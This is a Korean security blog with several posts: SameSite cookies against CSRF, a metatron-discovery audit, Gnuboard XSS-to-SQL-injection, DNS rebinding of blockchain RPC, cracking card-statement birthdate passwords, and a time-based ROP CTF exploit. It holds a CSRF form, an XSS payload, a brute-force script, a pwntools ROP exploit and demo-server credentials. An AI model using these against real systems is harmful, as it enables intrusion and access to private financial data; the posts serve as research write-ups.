Browser based CSRF Mitigation? Yoooh!!!!!! Same-Site-Cookie!

Chrome 76 부터 Same-Site-Cookie 설정이 default로 enabled되었다는 것을 보았다. 사용자의 Privacy와 CSRF를 막기위해 개발되었다. Privacy는 쿠키를 통한 사용자 트래킹 (?)을 막을 수 있게 되었다는데 이 글에선 CSRF를 중점적으로 다룰 것이다.

우선 CSRF가 무엇인지 이해하고 넘어가야 한다. 하나의 예시를 보여주도록 하겠다.

악의적인 공격자의 웹페이지에 아래와 같은 코드가 있다고 생각해보자.

<html>
<body onload=x.submit()>
<form id=x method=post action=http://vic.tim/delete/3>
</form>
</body>
</html>

vic.tim 사이트에 CSRF를 방어할 수 있는 로직이 없다면 피해자는 자신도 모르게 3번 게시글을 삭제할 것이다. 이를 방어하기 위해 지금껏 시큐리티 미들웨어나 프레임워크들이 했던 방식은 크게 2가지이다.

  1. CSRF Token 검증
  2. Referer 헤더 검증

위 방법은 CSRF 공격을 막는데 효과적이지만 모든 입력받는 컨트롤러에서 확인을 해줘야 하기 때문에 효율적이지는 못하다.

이제 세션쿠키에 헤더를 추가하는 것만으로도 CSRF를 방어할 수 있는 시대가 왔다. 간단한 예제를 통해 알아보자.

Cookie를 설정할 때 CookieName=foobar; Domain=..; Expires=…; 쿠키 key=value 말고 추가적으로 Domain, Expires와 같은 설정을 추가할 수 있다. 이곳에 Same-Site 라는 설정 값이 추가된 것이다.

SameSite의 값은 Strict, Lax, None을 지원한다. 각각의 기능을 설명해보면,

Strict – 사용자가 직접 주소창에 입력하는 top-level navigation을 제외한 모든 요청에 Cookie가 포함되지 않는다.

<?php
header("Set-Cookie: foo=bar; SameSite=Strict;");
header("Set-Cookie : bob=alice; SameSite=Lax;");
header("Set-Cookie  : juno=im;");
echo '<pre>';
var_dump($_SERVER['HTTP_COOKIE']);
echo '</pre>';
<a href="http://app.imjuno.com/q/">go</a>                                   
<br>
<form method="post" action="http://app.imjuno.com/q/">
    <button type=submit>go</button>
</form>
a tag를 이용한 접속

Lax와 Normal 쿠키만 전송되는 것을 확인할 수 있다.

post action을 통한 접속

FORM을 이용한 POST 요청은 Normal 쿠키만 전송된다. 아래는 요청 타입별로 어떤 Same-Site 쿠키가 전송되는지에 대한 정리표이다. 개발할 때 참고하면 좋을 것 같다.

MDN에는 아직 Experimental 기능이라고 나오지만 현재 모든 브라우저에서 지원하고 있다. Chrome이 가장 먼저 적용한줄 알았는데 이미 다른 브라우저들은 적용했더라 -_-

https://caniuse.com/#search=SameSite

구글에서 이미 서버사이드 프로그래밍에 자주 쓰이는 언어들에서 SameSite 쿠키를 사용하는 방법을 깃헙에 올려두었다.

사용자 세션에 SameSite=Strict를 사용할 경우 CSRF를 완벽하게 막을 순 있겠지만 a href를 통한 접속에 쿠키가 같이 보내지지 않기 때문에 유저 편의성을 해칠 수 있다. 예를 들면 이메일에서 링크를 눌러 접속한다던지….

마지막으로 어떠한 미티게이션을 도입하더라도 Silver Bullet은 없기 때문에 (XSS가 발생하면 무의미 해진다 ㅋㅋ) 서버의 코드를 잘 작성하는게 제일 중요하다는 것을 말하구 싶다~!~!

metatron-discovery security review speed run

서론

7월 26일 슬랙에 특성 회사 Github 저장소에 스타를 누를경우 선착순으로 경품을 준다는 메시지가 올라왔다. “처음엔 뭔 이런 이벤트가 다있지?” 하는 마음에 넘어갔지만 며칠 뒤 아래 게시글을 통해 사건의 발단되었다.

ㅋㅋㅋㅋ 그냥 웃고 넘어가려고 했는데 회사 슬랙에 @wooeong이 메시지를 보냈다.

링크를 눌러보니 이 프로젝트의 코드 퀄리티를 대충이나마 짐작할 수 있었다.

와!!!!!!!!!! (Command Injection?)

몇 개월동안 블로그를 방치해두기도 했고 빠르게 작성할 수 있을 것 같아 저녁시간을 이용해서 @wooeong과 함께 speed-run을 진행하고 그 결과를 쉐어해기로 했다. speed-run은 매년 Power Of Community라는 infosec conference에서 우리 회사가 진행하는 해킹 이벤트다. 주어진 짧은 시간(보통 10분~15분)에 해킹 문제를 풀면된다. 해킹이 생소하신 개발자분들은 해커톤 느낌으로다가 생각해주시면 될 것 같다.

우선 저장소에 나와있는 순서대로 빌드부터 해보기로 했다.

빌드가 되긴 한다…

국산 오픈소스 프로젝트의 국룰을 어기고 빌드가 성공적으로 진행된다. 다만 아래 사진처럼 철지난 npm 패키지들을 무수히 사용해 48개의 취약점이 발견되었다. 확인 해보지는 않았지만 regex DoS라던지 XSS 던지 하는 것들이 있을 것 같다.

실행하고 싶어요..

conf에 대한 예제가 있는데 이걸 어떻게 인자로 넣어야 하는지에 대한 설명은 readme 어느 곳에도 없었다. 깔끔하게 손절하려고 하던 순간, https://metatron.app/download/guide_vm/ vm image로 제공해준다.

[metatron@localhost ~]$ cat how_to_get_latest_binaries 
wget https://sktmetatronkrsouthshared.blob.core.windows.net/metatron-public/discovery-dist/latest/druid-0.9.1-latest-hadoop-2.7.3-bin.tar.gz

wget https://sktmetatronkrsouthshared.blob.core.windows.net/metatron-public/discovery-dist/latest/metatron-discovery-latest-bin.tar.gz
[metatron@localhost ~]$ 

홈 디렉토리에 저런 파일이 있다. get하는 방법만 알려주고 run하는 방법은 어디에도 나와있지 않기 때문에 실제 데모페이지가 돌아가고 있는 3.2.6 버전으로 audit을 하기로 했다. 블랙/화이트 박스 테스팅을 모두 진행하였고 전체의 아키텍쳐를 이해하지 않은 상태에서 간단한 스트링서치로만 audit을 진행했다. 한 버그클래스에 여러 버그 케이스가 존재하는 경우는 대표적인 것 하나만 작성했다. 아래는 speed-run을 통해 발견된 취약점들이다.

취약점

IDOR (Insecure Direct Object Reference)

대부분의 엔드포인트에서 권한 분리가 제대로 적용되어있지 않다. 펜딩 멤버와 같이 어드민만 볼 수 있는 API를 호출하는 것이 가능하다. 어드민 덧글을 게스트 유저가 수정해보겠다. 참고로 게스트는 다른 덧글을 수정할 수 있는 권한이 없다. (많은 엔드포인트에서 비슷한 취약점이 발생한다.)

Guest Token
Admin이 작성한 덧글 수정 요청
수정 완료

Arbitrary File Read + Path traversal

확장자 체크없이 인풋 받은 path를 그대로 읽어 출력해준다. 이쯤되면 “기능인가?” 의심해볼 필요가 있다.

SSRF

Host / Port 그리고 GET Parameter 조작이 가능하다.

Default username/password

metatron에서 호스팅해주는 데모 서버에 VM이미지를 받았을 때 존재하는 계정 정보로 로그인이 가능하다. (원래는 pending state를 거쳐야 함) — https://discovery.metatron.app/(polaris / polaris)

결론

전체적으로 코드가 많이 난잡하다. (지금 졸려서 내 글도 난잡한 것 같다.) 잠재적인 취약점이 많이 보이는데 회사일도 아니고 시간 도 없어서 말을 줄이겠다. 빅데이터 관련된 지식에 문외한이라 뭘 하는 프로그램인지는 모르겠지만 뭔가 좋은 것 같다. 이것저것 눌러보니 비주얼라이징이 이쁘게 된다. (한국) 기업치고 자사 프로덕트를 오픈소스하기 까지 쉽지 않았을텐데 코드 퀄리티를 떠나서 이 점은 칭찬하고 싶다. 다만 Github Star를 돈으로 산 행위는 이해할 수 없다. ㅋ.ㅋ

https://github.com/metatron-app/metatron-discovery/blob/f019b72a69e1713e38b5e958daf2b0919b7a5d77/discovery-server/src/main/java/app/metatron/discovery/domain/dataprep/PrepDatasetStagingDbService.java#L248-L249

오픈소스를 마음 먹었으면 이런 주석정도는 지울 수 있지 않나..

업데이트

[13:35 30-Jul-19] Github issue를 통해 오픈소스 메인테이너에게 리포트 ( https://github.com/metatron-app/metatron-discovery/issues/2406 )

맥 카카오톡 이미지 클립보드 붙여넣기가 안될때 해결

장장 3개월을 몰라서 포맷할까? 생각도 하고,, 엄청난 삽질을 했었다. 문제는 다음과 같다.

CMD + SHIFT 3, 4 + CTRL 을 통해 이미지를 클립보드에 저장하고 카카오톡에 붙여넣기를 하면 정상적으로 되질 않는다. 파일로 저장한 후 복사/붙여넣기 할때는 제대로 된다.

이유를 몰라 엄청 헤맸었는데 이유를 찾았다. 어떻게 찾았는지가 더 재밌는데 어제 자기전 상상속에서 생각을 하다가 CTF문제를 풀기위해 맥 스크린샷 포맷을 JPEG로 바꾼 것이 생각났다. 분명 비슷한 시기에 클립보드 붙여넣기가 안된거 같고. 이때 슬랙이나 다른 메신저로 붙여넣기는 정상적으로 되었다.. 하여튼 포맷을 PNG로 바꾸니깐 다시 잘 된다! 행복!

defaults write com.apple.screencapture type PNG

터미널에 위 명렁어를 치면 된다..

Screen Shot 2018-10-03 at 3.39.03 AM.PNG
근데 워드프레스는 붙여넣기가 안되네, 안습..

Latest Gnuboard version XSS to SQL Injection

 “3월의 나” 계획(브라우저 해킹)을 해놓고 2월의 나는 어디에 써놓았는지 기억이 안난다. OS X Kernel을 부시기로 했는데 조만간 부실 수 있을것 같다. 대신 OS X, iOS에서 발생하는 Exploitable할것 같은 버그를 찾았다. 열심히 분석해야겠다. 월간 임준오가 쉬면 곤란하니깐 2월엔 GnuBoard 취약점을 공개하겠다.

Summary

 BoB 과제를 진행하면서 찾은 취약점이다. 작년 시큐인사이드에서 adm1nkyj가 냈던 문제의 취약점과 매우 유사하다. 그 문제의 취약점도 그누보드 모티브다. 여기서 중요한건 패치를 전부 해야되는데 한곳만 해서 유사한 코드나 벡터를 통해 한번더 0-day로 만들 수 있다는 점이다.
 관리자 페이지에서 발생한 SQL Injection이라 관리자 권한을 흭득하는 XSS가 필요하다. 물론 XSS도 찾았기 때문에 같이 설명하겠다.

Vulnerability

– XSS

듣기로 그누보드 관리자 페이지에는 무수히 많은 XSS취약점이 존재한다. serialization동작 없이 `echo $variable;`을 하다보니 당연할 수 밖에 없다. 소스코드 리뷰를 진행하니 금방 찾을 수 있었다. adm/mail_select_form.php 파일 71, 114줄에  취약점이 존재한다.

value="">

그누보드에서는 모든 피라미터에 addslash하여 XSS를 방어한다. html tag를 파싱할때 attribute안에 있는 \”는 “라고 인식하지 않고 attribute의 종료로 인식된다. 따라서 다음과 같은 상황이 발생한다.


value="\">alert(1);">

성공적으로 공격이 가능하다,, Chrome XSS Auditor를 Bypass하려면 약간의 Trick을 주면 된다.- SQL Injectionaddslash를 하기 때문에 basic한 sql injection이 발생한 가능성이 없다. 그러므로 advanced한 취약점을 찾아야하는데,, 작년에 adm1nkyj가 secuinside때 낸 문제가 떠올랐다. 그 문제도 그누보드를 사용한 third-party앱에서 찾은 취약점을 기반해 낸것이다. 관련된 코드를 찾으니 아직 패치가 되지 않은 한 부분이 있었다.. adm/auth_list_delete.php 파일 12~24줄을 보면 된다. 요약하면 다음과 같다.인자를 Array로 받는 로직중 그 Array의 값을 그대로 sql query에 사용했을때 발생하는 문제다.

$b = $_GET['b'];
for ($i=0; $i<strlen($a); $i++) {
    $query = "select * from table1 where a='{$a[i]}' and b='{$b}';";
}
b는 addslash때문에 sqlinjection이 불가능하다. a는 Array를 줘야한다. 하지만 a가 String이 되어 버리면 어떻게 될까? 1 byte씩 들어가기 때문에 \를 하나 넣을 수 있게된다. 그렇게 되면…

// a : \ → addslash → \\
// b: Attack Query
$query = "select * from table1 where a='\' and b='Attack Query#';";<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>

따단..


업데이트

26th Mar.

크레딧 상태가 이상하지만, 뭐 .. 어쩔 수 없다.

커밋 로그를 살펴보니 admin 페이지 말고도 file board쪽에서도 하나 더 있었나 보다, 뭐 이런류의 취약점은 많을거라 생각한다.

Attack Block Chain Node’s JSON RPC with Efficient DNS Rebinding Attack

 구글의 타비스가 Blizzard 앱에서RPC auth mechanism이 DNS Rebinding를 통해 공격이[1] 가능하다는것을 언급했다. 며칠 뒤 페이스북이랑 트위터에서 geth(go-ethereum) RPC와 몇가지 블록체인 노드들의 RPC에 DNS Rebinding Attack이 가능하다는 여러가지 이야기가 들려왔다.
 우선 이더리움 Geth에서 비오비 프로젝트를 하면서우리 팀이 찾았던 CORS이슈와 제시했던 패치 방안과 대해서 설명한다. 타 블록체인 노드에서 발생한 0-day 그리고 공격에 사용되었던 효율적인 DNS Rebinding Attack을 소개한다.

DNS Rebinding Attack

 0ctf 2016의 Monkey 문제가 DNS Rebinding Attack을 소개하는 글중에 하나이다. [7] 아마 이 문제 이후에 용진이형이 알려줬었다. 더 알아보고 싶으면 용휘형이 예전에 번역했던 글을 참고해서 읽어도 좋다. (http://gooverto.tistory.com/entry/the-power-of-dns-rebinding-stealing-wifi-passwords-with-a-website-translated) 일반적으로 말하는 DNS Rebinding Attack Browser의 SOP를 우회하기 위한 기술중 하나이다. 플로우차트를 그려보면 다음과 같다.
1. junoim.kr을 NS에 요청하면 174.138.24.108을 반환한다.
2. 네임서버의 레코드를 빠르게 바꾸고 브라우저에서 DNS Cache가 flush될때까지 기다린다.
3. 그 후 NS에 요청을 보내면 127.0.0.1을 반환하게 된다.
이러한 요청은 브라우저에서 domain뿐만 아니라 ip까지 확인하면 되지만 벤더사들은 클라이언트 단에서 미티게이션을 추가하는것은 false negative한 case들 때문에 불가능하다고 생각해 wontfix처리 했다. [2]
위 방법을 사용하면 브라우저의 DNS Cache가 비워질때까지 기다려야 하기 때문에 60초가 필요하다. 뭐 eviction을 하면서 다른 값으로 덮어서 없앨 수도 있는데 그래도 20초 이상이 필요하다. optimization을 하기 위해 사용한 방법은 다음과 같다.
0. 도메인의 A레코드에 정상적인 서버의 아이피와 127.0.0.1를 등록해둔다. (with order fixed option)
1. junoim.kr을 NS에 요청하면 174.138.24.108을 반환한다.
2. 첫 요청이 들어오면 서버를 끄던가 요청된 IP를 iptables를 이용해 블락한다.
3. 브라우저에서 바로 다음 요청을 보내면 공격자의 서버에서는 TCP RST 패킷을 보내게 된다.

4. RST 패킷을 받으면 브라우저에서는 다음 레코드를 사용하게 된다. (127.0.0.1)

Tendermint Node RPC 0-day

 떡락이의 블록체인연구소 (https://www.facebook.com/blockchain.gazua/) 에서 tendermint를 언급한적이 있다. 뭐.. 자세한건 안봐서 모르겠지만 얘도 노드를 사용한다 ! RPC 통신도 지원한다!
tendermint.exe node –proxy_app=dummy
명령어를 통해 실행할 수 있다. 데모 영상이다.

Mitigation

 매우 간단한 패치로 공격을 막을 수 있다. 서버 측에서 Request측의 IP와 HTTP 헤더의 host, origin를 검사하면 된다. 이런식으로 패치해도 타 process에서 보내거나 extension에서 보내게 되면 막을 방법이 없기 때문에 신뢰할 수 있는 종단간 암호화를 통한 인증과정을 도입시켜야 된다. e.g.) username/password

Others

Ethereum Geth RPC에 Dns Rebinding Attack 문제는 오래전 부터 있었다. [4], [8] 물론 비슷한 케이스로 CORS Bypass 문제도 있었다. 비오비 프로젝트를 하면서 찾은 취약점 중에 하나인데 바운티에 신고를 했을때 다음과 같은 답장이 왔었다.
This is actually a known issue, one of the first we got via the bug bounty program. Nevertheless, we’ve decided to change the behaviour, but we won’t change anything before Byzantium: since people will be forced to update for the fork, we don’t want to force a potentially breaking API-change on people/businesses.
2016년에 이미 관련된 이슈가 제보 되었다는걸 알려주었다. 뭐 CORS 이슈라 아래와 같이 패치방안을 제공해주었다. 사실 이대로만 패치 되었더라도 DNS Rebinding Attack은 바로 막히는데 아쉽다.
if not request.headers['origin'] in allowedOrigin:
    return Error("WTF! your origin is not in allowedOrigin list.")

Victim의 Public IP Address를 모르는 상황에서 공격하는 시나리오였기 때문에 요청한 IP Address를 검사하는 로직도 추가되어야 한다. (0.0.0.0로 바인드 하는 상황이면)위와 비슷하게 Cisco Talos가 Parity 에서도 동일한 취약점을 찾았다. [9]

Ref

신한카드 이용대금 명세서 개인 비밀번호 분석 및 크랙

오랫만에 메일함을 들어갔더니 “[신한카드] 임준오님의 01월10일 체크카드 이용대금 명세서입니다.” 이런 제목의 메일이 와있었다. 예전에도 몇번 받아봤는데 첨부파일에 html파일이 있고 생년월일을 입력하면 명세서를 보여주는 형식이었다.

메일 화면

보안 이메일 명세서라고 나와있는데 얼마나 안전한가 한번 시험해보고 싶었다.

생년월일을 받는다.
내 생년월일을 입력하면 정상적으로 열리게 된다.

이제 소스를 열어보자.

뭔가 난독화가 많이 되어 있다. 일단 beautify 를 해보자.

이제 좀 보인다. 분석을 시작하자!

1. 생년월일을 비교하는 부분을 찾는다.

2. 연산하는 곳을 찾는다.

3. 복호화 코드를 짠다.

이 순으로 분석을 하면 될것 같다.

1. 생년월일을 비교하는 부분을 찾는다.

어떻게 찾을까 생각해봤는데 생년월일이 일치하지 않으면 아래와 같은 alert 창을 띄운다.

저 문자열을 찾아가면 될것 같다.

근데 난독화가 되어있어 alert 함수나 띄우는 문자열을 찾을 수 없었다.

약간의 감을 통해 최상단에 있는 문자열 배열이 함수명이나 메시지들을 담고 있을것 같았다.

엇.. alert가 있다…?

기억을 더듬어 보니 alert가 무려 17개나 있어 문자열로 찾았던 기억이 난다.

그럼 이제 저 지점에 브레이크포인트를 걸고 동적 디버깅을 해보자!

1234를 넣고 상황을 지켜보았다.

1345번째 줄을 보면 _0x9319xd9(함수의 인자) 변수에 내 비밀번호가 들어왔고 1348번째 줄에서 _0x9319xdf함수의 인자로 넘어갔다. 그럼 _0x9319xdf 함수가 복호화하는 함수다 !

2. 연산하는 곳을 찾는다.

1354번째 줄에서 _0x9319xde에 복호화한 값이 들어갔다.

복호화하는 로직을 보니 고정된 키를 사용하는것이 아닌 인풋을 키로 하여 복호화를 진행한다. 복호화 하는 함수를 조금더 분석해보자.

flow: _0x9319xdf -> _0x9319xe2 -> _0x9319xe2

불러오는 함수를 계속 따라가 보면 _0x9319xe4에 “SEED-CBC”란 값을 넣는걸 볼 수 있다.

SEED-CBC를 사용한다고 알려준다. SEED-CBC의 상세한 로직은 이미 쓰고 있는 곳들이 많아 안전할거라 생각하고 따로 분석하지 않았다.

3. 복호화 코드를 짠다.

내가 준 인풋(사용자의 생년월일)을 키로 사용하고 SEED-CBC 블록암호를 사용하기 때문에 복호화 코드를 짜도 의미가 없다. 아니 이미 복호화 해주는 코드는 내장되어 있다. 단지 키를 정의할 수 없을 뿐이다.

키를 구해야 되기 때문에 브루트포싱밖에 답이 없다. 하지만 복호화 하려는 데이터가 너무 크기때문에 1초정도 걸린다.

대충 계산 해보면..

1년을 365로 가정하고 카드 사용자층을 10대 ~ 60대로 선정하면 총 60년을 상대로 브루트포싱해야됨.

그러면 최종적으로 1s * 365 * 60 = 21900s = ~6시간

한개를 복호화 하는데 6시간이나 필요하다. 물론 쓰레딩으로 처리하면 줄일 수 있겠지만 현저히 많은 시간이다.

그러면 과연 더 나은 방법이 없을까?

생각 하던중 정상적으로 복호화 되었는지의 여부를 판별하는 곳을 보았다.

xxx(0, 10) == aaaaa

어.. 복호화된 앞 부분에서 비교를 한다라 .. ?

수 많은 블록을 한 블록으로 줄일 수 있게 되었다.

UNISAFESMAIL_DATA = btoa(atob(UNISAFESMAIL_DATA).substr(0, 16));

한 블록으로 줄인 후 브루트포스 코드를 구현했다.

완성된 브루트포스 코드는 아래와 같다.

function brutePassword() {
    for (var year=50; year<100; year++) {
        for (var month=1; month<=12; month++) {
            var tmp = month+"";
            if (tmp.length == 1)
                tmp = "0"+tmp;
            month = tmp;
            for (var day=1; day<=31; day++) {
                var tmp = day+"";
                if (tmp.length == 1)
                    tmp = "0"+tmp;
                day = tmp;
                isSuccess = new UniSafeMail().unisafe_smail_process(year+month+day);
                if (isSuccess) {
                    console.log(year+month+day);
                    return year+month+day;
                }
            }
        }
    }
}

Time Based ROP

pwnable.tw에 kidding이라는 문제가 있다. stdin, stdout, stderror fd를 닫아버리기 때문에 리버스 쉘을 통하여 연결하면된다.
하지만 서버측에 있는 바이너리 데몬이 외부 네트워크에 접근할 수 없는 상황이면 어떻게 할것인가?
위와 같은 상황은 CTF보다 리얼월드에서 많이 발생한다. (클라우드 인스턴스 여러개 만들어가지고 내부적으로 물리고 ..)
까먹고 있다가 목욕을 하다가 문득 생각이 났다.
ROP를 통해 파일의 내용을 읽을때 SQLI 기술중 하나인 time based sql injection을 적용시켜보았다.

글쓰는것을 미루고 미루다 Exploiting Timed Based RCE – Security Café 를 읽고 쓰게되었다.

ROP 테크닉은 무척 간단하다.

  1. pop rdi, pop rsi, pop idx, retn 으로 레지스터를 초기화 시킨다.
  2. strncmp를 호출한다.
  3. rax를 rdi로 복사한다.
  4. sleep을 호출한다.

위 로직을 증명하기 위해 다음 코드가 사용되었다.

PoC 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
    char dest[] = "MyNameIsJunoIm";
    char oneByteChar = 'L';
    int result;
    int t1, t2;

    printf("dest string -> %s\n", dest);
    printf("give me one byte: ");
    scanf("%c", &oneByteChar);

    result = strncmp(dest, &oneByteChar, 1);

    printf("result - > %d\n", result);

    t1 = time(0);
    sleep(result);
    t2 = time(0);

    printf("running time - > %d\n", t2-t1);

    return 0;
}

정상적으로 작동하나 싶었는데.. 문제로 만들었더니 몇가지 오류가 생겼다..

우선 fd를 닫고 sleep하는것은 로컬에서만 되었다. 이럴꺼면 system("ls -al > /tmp/ls_result.txt")하고말지..

바이너리 데몬으로 실행하면,,

EOF 에러남 …

이렇기에 sleep여부를 판별하기 위한 race condition을 추가할 수 밖에 없었다. 그래서 문제에 의도적인 부분을 추가하기로 했다.

Full SourceCode, Binary 는 example, example.c 를 보시면 됩니다.

PoC 2

from pwn import *
import string
import random
import time

my_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
my_id += 'f'

print my_id
a1 = time.time()

r = remote("junan.io", 6974)
r2 = remote("junan.io", 6974)
r3 = remote("junan.io", 6974)

r.recvuntil('Input ID: ')
r.sendline(my_id)
r.recvuntil('Input key: ')
r.sendline("65b42f7d71f9fb31d824c28b8943ad94")
r.recvuntil("Welcome: ")

strncmp = 0x00000000004008C8
p_rdi = 0x0000000000400AAE
sleep = 0x0000000000400958
flag = 0x00000000006020A0

go_sleep = 0x0000000000400E00

payload = "A"*272
payload += p64(0x000000000060229D) # rbp

payload += p64(p_rdi) # for sleep
payload += p64(0x1)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

payload += p64(sleep)

payload += p64(p_rdi)
payload += p64(flag)
payload += p64(0x0000000000602060+15) # time based rop
# 0x0000000000602060+15
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)

payload += p64(strncmp)

payload += p64(go_sleep)

print len(payload)

r.sendline(payload)
time.sleep(0.1)

r2.sendline(my_id)

r3.recvuntil('Input ID: ')
time.sleep(1)
r3.sendline(my_id)
try:
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
r3.sendline("AAAA")
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
print ("Found !")
except:
print ("No")

r.recv()

print time.time() - a1

첫글자인 f 를 찾은 모습이다.

Example Challenge

nc junan.io 6974

성공적으로 flag를 얻어내셨다면 junorouse@gmail.com 으로 exploit 코드를 보내주세요.


업데이트

2018-06-03 글을 옮기다 time based side channel attack rop 문제가 여럿 보였던 기억이 었어서 기분이 좋네요 ㅎㅅㅎ